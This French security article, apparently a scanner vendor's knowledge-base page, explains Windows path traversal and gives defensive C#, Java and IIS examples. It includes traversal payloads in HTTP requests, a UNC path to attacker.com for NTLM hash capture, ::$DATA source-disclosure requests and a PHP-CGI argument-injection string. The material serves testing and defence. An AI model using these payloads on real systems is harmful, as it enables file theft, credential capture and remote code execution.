Path Traversal Windows

Qu'est-ce que le path traversal Windows#

Le path traversal Windows (CWE-22) exploite les sémantiques du système de fichiers spécifiques à Windows qui créent une surface d'attaque plus large que le path traversal Linux. Windows accepte à la fois le slash avant / et l'antislash \ comme séparateurs de répertoire. Les APIs Win32 normalisent les séparateurs de chemin, développent les variables d'environnement, gèrent les alias de noms de fichiers courts 8.3 et traitent les chemins UNC — chacun crée un vecteur de contournement qui n'existe pas sur les systèmes Unix.

Sous OWASP A01:2021, le path traversal Windows cible le plus souvent les serveurs web IIS, les applications ASP.NET et les configurations PHP-CGI sur Windows. La classe de vulnérabilité a retrouvé une attention renouvelée en 2024 avec CVE-2024-4577 (injection d'arguments Windows PHP-CGI, CVSS 9.8, exploitée par le ransomware TellYouThePass dans les 48 heures) et la chaîne TOCTOU Apache Tomcat (CVE-2024-50379, CVSS 9.8) sur les systèmes de fichiers NTFS insensibles à la casse.

La distinction principale d'avec la traversée Linux est la surface d'encodage : un filtre centré Linux qui bloque la traversée / peut laisser passer la traversée \, et vice versa. Un test de traversée Windows complet doit couvrir les deux séparateurs, leurs formes encodées et les constructions de chemin spécifiques à Windows incluant les chemins UNC, les Alternate Data Streams, les alias de noms de fichiers 8.3 et la syntaxe de paramètre de chemin Tomcat.

Mécanisme#

Windows résout les segments .. indépendamment qu'ils utilisent / ou \ :

GET /download?file=..\..\..\..\Windows\win.ini HTTP/1.1
Host: iis-server.example.com
 
HTTP/1.1 200 OK
Content-Type: application/octet-stream
 
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

GET /download?file=..%5c..%5c..%5c..%5cWindows%5cwin.ini HTTP/1.1
Host: iis-server.example.com
 
HTTP/1.1 200 OK
 
; for 16-bit app support
[fonts]

L'encodage %5c pour l'antislash échappe aux filtres vérifiant l'antislash littéral mais passe les filtres conçus pour Linux qui ne vérifient que %2f ou /.

Variantes de traversée spécifiques à Windows#

Antislash littéral :     ..\..\..\..\Windows\win.ini
Antislash encodé :       ..%5c..%5c..%5cWindows%5cwin.ini
Séparateurs mixtes :     ../\../\..\Windows/win.ini
Double encodé :          ..%255c..%255c..%255cWindows%255cwin.ini
Slash-antislash mixte :  ..%2f..%5c..%2f..%5cWindows%5cwin.ini
Paramètres Tomcat :      ..;/..;/..;/..;/Windows/win.ini

Injection de chemin UNC#

Les chemins UNC Windows déclenchent des connexions réseau sortantes depuis le serveur :

GET /download?file=\\attacker.com\share\file.txt HTTP/1.1
Host: windows-server.example.com

Le serveur Windows initie une connexion SMB vers attacker.com pour résoudre le chemin UNC. Cette tentative d'authentification SMB inclut le hash NTLM du serveur — capturable avec Responder ou ntlmrelayx d'Impacket. Le hash du compte machine du serveur peut ensuite être relayé vers d'autres systèmes internes pour le mouvement latéral.

Alternate Data Streams (ADS)#

NTFS supporte des flux nommés sur les fichiers, permettant plusieurs fourches de données sous un même nom de fichier :

GET /files/report.pdf::$DATA HTTP/1.1
GET /config/web.config::$DATA HTTP/1.1

Le suffixe ::$DATA lit le flux de données par défaut. Certaines configurations IIS et d'anciennes applications ASP ne supprimaient pas ce spécificateur de flux, permettant aux attaquants de lire le code source des fichiers ASP/ASPX en ajoutant ::$DATA — la réponse retourne la source brute plutôt qu'exécuter le fichier.

GET /login.asp::$DATA HTTP/1.1
Host: legacy-iis.example.com
 
HTTP/1.1 200 OK
Content-Type: text/html
 
<%
  Dim strConn
  strConn = "Provider=SQLOLEDB;Data Source=db-server;..." & _
            "User ID=webapp;Password=S3cr3tDB!"
%>

Variantes d'attaque#

Fichiers cibles Windows à haute valeur#

Exemples réels#

CVE-2024-4577 — PHP-CGI Windows Best-Fit Argument Injection (CVSS 9.8) : découvert par Devcore en juin 2024. Windows utilise le mappage de caractères "Best-Fit" lors de la conversion entre pages de code : le caractère Soft Hyphen (Unicode 0xAD) mappe vers Hyphen-Minus (0x2D, le caractère -) sous l'encodage cp932 (japonais). Apache HTTP Server échappe 0x2D dans les arguments CGI mais n'échappe pas 0xAD. PHP-CGI applique la normalisation d'encodage Best-Fit Windows, convertissant 0xAD en 0x2D et l'interprétant comme délimiteur d'argument de ligne de commande PHP-CGI. Les attaquants envoient une requête contenant des "tirets" encodés 0xAD pour injecter des arguments PHP-CGI arbitraires : -d allow_url_include=1 -d auto_prepend_file=php://input. Cela réalise du RCE non authentifié sans aucune traversée de fichier. Le ransomware TellYouThePass, le RAT Gh0st et les cryptomineurs RedTail ont weaponisé la vulnérabilité dans les 48 heures suivant la divulgation. CISA l'a ajouté au catalogue KEV. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

CVE-2024-50379 — Apache Tomcat TOCTOU sur Windows (CVSS 9.8) : le servlet par défaut de Tomcat, quand les opérations d'écriture sont activées, effectue une race condition time-of-check time-of-use lors de la compilation JSP sur des systèmes de fichiers insensibles à la casse (Windows NTFS). Un attaquant envoie des requêtes PUT partielles concurrentes qui manipulent la fenêtre de timing de résolution de chemin pour écraser des fichiers JSP dans la racine de l'application web. Le JSP écrasé contient du code contrôlé par l'attaquant exécuté par Tomcat quand la prochaine requête frappe le fichier. Une atténuation incomplète CVE-2024-56337 a été divulguée une semaine plus tard — la correction nécessitait une configuration explicite de propriété système JVM non documentée dans l'avis initial.

CVE-2024-38472 — Apache HTTP Server UNC Path Coercion (Windows) : partie du cluster "Confusion Attacks" d'Orange Tsai présenté à DEF CON 32. La fonction apr_filepath_merge() d'Apache sur Windows ne rejetait pas les préfixes de chemin UNC dans les composants URI. Un attaquant envoyait %5C%5Cattacker-server/path dans un URI de requête, faisant initier par Apache une connexion SMB sortante vers attacker-server — faisant fuiter les credentials NTLM du serveur et permettant des attaques de relay. CVSS 7.5.

Détection#

Tests manuels#

1. Identifier les paramètres référençant des fichiers et tester la traversée antislash : ..\..\..\..\Windows\win.ini. Confirmer avec [fonts] dans la réponse.
2. Si l'antislash littéral est filtré, tester l'antislash encodé : ..%5c..%5c..%5cWindows%5cwin.ini.
3. Tester les séparateurs mixtes : ../\../\..\Windows/win.ini.
4. Tenter l'accès à web.config : ..\..\inetpub\wwwroot\web.config — confirmer avec <connectionStrings> ou <appSettings>.
5. Tester le contournement de paramètre de chemin Tomcat si la cible utilise Tomcat : ..;/..;/..;/WEB-INF/web.xml.
6. Tester l'accès ADS sur les cibles IIS : ajouter ::$DATA aux chemins de fichiers .asp, .aspx ou .config.
7. Pour PHP-CGI sur Windows, tester CVE-2024-4577 : envoyer une requête avec un Soft Hyphen dans la chaîne de requête et observer si PHP-CGI traite des arguments supplémentaires.
8. Confirmer l'injection de chemin UNC en vérifiant si \\attacker-controlled-host\test dans le paramètre de chemin déclenche une connexion SMB sortante (utiliser Responder en mode écoute).

Détection automatisée#

BreachVex inclut des variantes de payload spécifiques à Windows : ..%5c..%5c..%5c (antislash encodé), ..\..\..\..\Windows\win.ini (antislash littéral) et ..;/..;/..;/..;/..;/..;/..;/ (contournement par paramètre de chemin Tomcat, CVE-2025-55752). Les marqueurs de fichier Windows ([fonts] pour win.ini, <connectionStrings> pour web.config) sont dans la porte de contenu. Le test d'injection de chemin UNC nécessite une configuration de capture réseau en dehors du flux de scan standard.

Prévention#

Validation canonique du chemin sur Windows#

// C# / ASP.NET — Path.GetFullPath normalise à la fois / et \ et résout ..
using System.IO;
 
private static readonly string BASE_DIR = 
    Path.GetFullPath(@"C:\inetpub\wwwroot\uploads\");
 
public byte[] SafeReadFile(string userInput)
{
    // GetFullPath résout les séparateurs / et \ et les séquences ..
    string resolved = Path.GetFullPath(Path.Combine(BASE_DIR, userInput));
    
    // La comparaison de chaîne est insensible à la casse sur Windows
    if (!resolved.StartsWith(BASE_DIR, StringComparison.OrdinalIgnoreCase))
    {
        throw new UnauthorizedAccessException("Path traversal bloqué");
    }
    
    return File.ReadAllBytes(resolved);
}

// Java sur Windows — getCanonicalFile gère les deux séparateurs
import java.io.*;
import java.nio.file.*;
 
public byte[] safeDownload(String userInput) throws IOException {
    File base = new File("C:\\inetpub\\wwwroot\\uploads\\").getCanonicalFile();
    File requested = new File(base, userInput).getCanonicalFile();
    
    // toPath().startsWith() effectue une comparaison tenant compte des composants de chemin
    if (!requested.toPath().startsWith(base.toPath())) {
        throw new SecurityException("Tentative de path traversal bloquée");
    }
    
    return Files.readAllBytes(requested.toPath());
}

Bloquer les entrées de chemin UNC#

// Rejeter explicitement les chemins UNC et les lettres de lecteur Windows dans l'entrée utilisateur
private static void ValidateInputNotUNC(string userInput)
{
    if (userInput.StartsWith(@"\\") || userInput.StartsWith(@"//"))
        throw new ArgumentException("Les chemins UNC ne sont pas autorisés");
    
    // Rejeter les lettres de lecteur (C:, D:, etc.)
    if (userInput.Length >= 2 && userInput[1] == ':')
        throw new ArgumentException("Les chemins avec lettre de lecteur ne sont pas autorisés");
}

Désactiver les Alternate Data Streams sur IIS#

Dans la configuration IIS, définir allowDoubleEscaping="false" (par défaut dans IIS 7+) et configurer le filtrage des requêtes pour rejeter les chemins contenant :: :

<!-- web.config — filtrage des requêtes IIS -->
<system.webServer>
  <security>
    <requestFiltering allowDoubleEscaping="false">
      <denyStrings>
        <add string="::" />
        <add string="%3a%3a" />
      </denyStrings>
    </requestFiltering>
  </security>
</system.webServer>

Ressources#

• Path Traversal — Vue d'ensemble pillar
• NVD CVE-2024-4577 — PHP-CGI Windows
• OWASP Path Traversal
• PortSwigger : File Path Traversal